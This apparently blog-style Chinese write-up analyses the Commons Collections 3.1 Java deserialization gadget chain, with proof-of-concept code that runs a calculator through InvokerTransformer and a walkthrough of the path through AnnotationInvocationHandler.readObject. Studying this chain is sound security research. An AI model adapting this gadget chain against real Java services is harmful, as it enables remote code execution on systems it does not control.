@Author: Patrilic @Time: 2020-3-19 23:24:22
Jdk version : 7u80
pom.xml:
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies> </project>
package com.patrilic.vul; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class EvalObject { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChain Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发漏洞 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar"); } }
简单一看,最终在
org/apache/commons/collections/functors/InvokerTransformer.class:125
java.lang.Runtime.getRuntime().exec
InvokerTransformer.class
提供了一个Object方法,用Java反射的机制去创建类实例
可以通过直接调用InvokerTransformer的反射机制去调用 java.class.Runtime()
package com.patrilic.vul; import org.apache.commons.collections.functors.InvokerTransformer; public class test { public static void main(String[] args) { InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"}); invokerTransformer.transform(Runtime.getRuntime()); } }
Poc这里并没有直接调用 InvokerTransformer
,而是通过 ChainedTransformer
类
源码比较少,全部贴出来
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by Fernflower decompiler) // package org.apache.commons.collections.functors; import java.io.Serializable; import java.util.Collection; import java.util.Iterator; import org.apache.commons.collections.Transformer; public class ChainedTransformer implements Transformer, Serializable { static final long serialVersionUID = 3514945074733160196L; private final Transformer[] iTransformers; public static Transformer getInstance(Transformer[] transformers) { FunctorUtils.validate(transformers); if (transformers.length == 0) { return NOPTransformer.INSTANCE; } else { transformers = FunctorUtils.copy(transformers); return new ChainedTransformer(transformers); } } public static Transformer getInstance(Collection transformers) { if (transformers == null) { throw new IllegalArgumentException("Transformer collection must not be null"); } else if (transformers.size() == 0) { return NOPTransformer.INSTANCE; } else { Transformer[] cmds = new Transformer[transformers.size()]; int i = 0; for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) { } FunctorUtils.validate(cmds); return new ChainedTransformer(cmds); } } public static Transformer getInstance(Transformer transformer1, Transformer transformer2) { if (transformer1 != null && transformer2 != null) { Transformer[] transformers = new Transformer[]{transformer1, transformer2}; return new ChainedTransformer(transformers); } else { throw new IllegalArgumentException("Transformers must not be null"); } } public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; } public Transformer[] getTransformers() { return this.iTransformers; } }
可以看到ChainedTransformer实现了Transformer接口
重构了transform,当我们传入类时,会一起去调用每一个Transformer.thransform()
那么也就是说,最终处理的还是 InvokerTransformer
类,同样的,那么我们也可以利用 ChainedTransformer
去实现 java.lang.Runtime
的调用
ChainedTransformer 调用
会直接调用
org/apache/commons/collections/functors/InvokerTransformer.class
经过一共四次for循环
调用 Runtime.exec()
回到利用链里,这个poc使用了一个Map对象,然后调用了 TransformedMap.decorate
方法
经过静态方法decorate可以实例化 TransformedMap
经过构造函数赋值后
如果满足了valueTransformer,那么就可以直接调用 InvokerTransformer#transform
也就是说,只要我们传入任意 setValue/put/putAll
方法,都可以满足这个条件
当然,这样确实是可以成功调用transform方法,调用Runtime.exec()
但是接着跟Poc,却发现触发点并不在那,而是通过entrySet()方法
然后在运行到 onlyElement.setValue("foobar");
的时候,触发 CheckSetValue()
方法
所以只要我们去调用 SetVaule()
就可以直接调用transform方法
如果要完成反序列化,那么必须找一个readObject()中调用了 TransformedMap::MapEntry#setValue()
的类
sun/reflect/annotation/AnnotationInvocationHandler.class
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
那么,现在的问题就是,我们怎么样才能顺利的进入 var5.setValue()
这里来。
确保var7获取到 java.lang.annotation.RetentionPolicy
芜湖~起飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞
完整调用栈